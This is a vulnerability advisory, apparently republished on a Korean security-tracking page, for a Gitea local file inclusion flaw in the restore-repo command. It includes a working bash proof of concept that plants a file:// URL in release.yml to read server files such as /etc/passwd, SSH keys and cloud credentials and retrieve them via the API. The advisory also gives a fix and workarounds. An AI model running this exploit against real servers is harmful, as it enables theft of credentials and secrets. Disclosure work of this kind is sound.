Gitea: Local File Inclusion via file:// URI in Migration Restore
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Local File Inclusion via file:// URI in Migration Restore
Target: go-gitea/gitea
Component: services/migrations/gitea_uploader.go, modules/uri/uri.go
Severity: High
Affected Versions: <= v1.22.x (all releases), master as of latest commit
Researchers:
- Isa Can — Eresus Security (https://github.com/isa0-gh)
- Yigit Ibrahim — Eresus Security (https://github.com/ibrahmsql)
Summary
Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.
Impact
An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:
- app.ini — containing database passwords and secret keys
- SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)
- TLS certificates and private keys
- Cloud provider credential files (e.g. ~/.aws/credentials)
- Any other file readable by the Gitea process user
The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.
Affected Code
modules/uri/uri.go
1func Open(rawURL string) (io.ReadCloser, error) { 2 u, err := url.Parse(rawURL) 3 if err != nil { 4 return nil, err 5 } 6 switch u.Scheme { 7 case "http", "https": 8 resp, err := http.Get(rawURL) 9 ...10 case "file":11 return os.Open(u.Path) // no scheme validation, no path restriction12 }13}services/migrations/gitea_uploader.go (~line 370)
1func (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error { 2 for _, rel := range releases { 3 for _, asset := range rel.Assets { 4 rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated 5 ... 6 // file content saved as release attachment 7 } 8 } 9}Attack Scenario
An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:
- Create a malicious archive containing release.yml:
1releases: 2 - tag_name: v0.0.1 3 assets: 4 - name: exfiltrated.txt 5 download_url: "file:///etc/passwd"- Run restore:
1gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo-
The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.
-
Retrieve via API:
1curl -s "http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets" \ 2 -H "Authorization: token ADMIN_TOKEN" | jq -r '.[].browser_download_url'PoC
Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.
1#!/usr/bin/env bash 2# PoC: Gitea LFI via release.yml DownloadURL 3# Requires: admin credentials, gitea binary on PATH (server host) 4 5GITEA_URL="${1:-http://localhost:3000}" 6ADMIN_TOKEN="${2:-REPLACE_ME}" 7TARGET_FILE="${3:-/etc/passwd}" 8OWNER="test-org" 9REPO="lfi-test"1. Create target org and repo via API
1curl -sf -X POST "$GITEA_URL/api/v1/orgs" \ 2 -H "Authorization: token $ADMIN_TOKEN" \ 3 -H "Content-Type: application/json" \ 4 -d "{\"username\":\"$OWNER\",\"visibility\":\"private\"}" || true 5 6curl -sf -X POST "$GITEA_URL/api/v1/user/repos" \ 7 -H "Authorization: token $ADMIN_TOKEN" \ 8 -H "Content-Type: application/json" \ 9 -d "{\"name\":\"$REPO\",\"private\":true,\"auto_init\":true}" || true2. Build malicious archive
1TMP=$(mktemp -d) 2mkdir -p "$TMP/bundles/$OWNER/$REPO" 3 4cat > "$TMP/bundles/$OWNER/$REPO/release.yml" <<YAML 5releases: 6 - tag_name: v0.0.1 7 name: test 8 body: "" 9 draft: false10 prerelease: false11 assets:12 - name: output.txt13 download_url: "file://$TARGET_FILE"14 size: 015 download_count: 016YAML17 18cd "$TMP" && zip -r poc.zip bundles/3. Trigger restore
1gitea restore-repo \ 2 --zip-path "$TMP/poc.zip" \ 3 --owner "$OWNER" \ 4 --repo "$REPO" \ 5 --units release 2>&14. Retrieve exfiltrated content
1echo "[*] Fetching exfiltrated content..." 2RELEASE_ID=$(curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1" \ 3 -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].id') 4 5curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets" \ 6 -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].browser_download_url' | \ 7 xargs -I{} curl -sf "{}" -H "Authorization: token $ADMIN_TOKEN" 8 9rm -rf "$TMP"Root Cause
uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.
Fix Recommendation
In services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():
1parsed, err := url.Parse(asset.DownloadURL) 2if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") { 3 log.Warn("Skipping release asset with non-HTTP URL: %s", asset.DownloadURL) 4 continue 5} 6rc, err := uri.Open(asset.DownloadURL) 7Alternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts.Workaround
Until a patch is available, operators should:
- Restrict restore-repo execution to fully trusted operators only
- Audit all archive contents manually before running restoration
- Review existing release attachments for unexpected or sensitive filenames
Isa Can
Security Researcher — Eresus Security
https://github.com/isa0-gh
Yigit Ibrahim
Security Researcher — Eresus Security
https://github.com/ibrahmsql
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.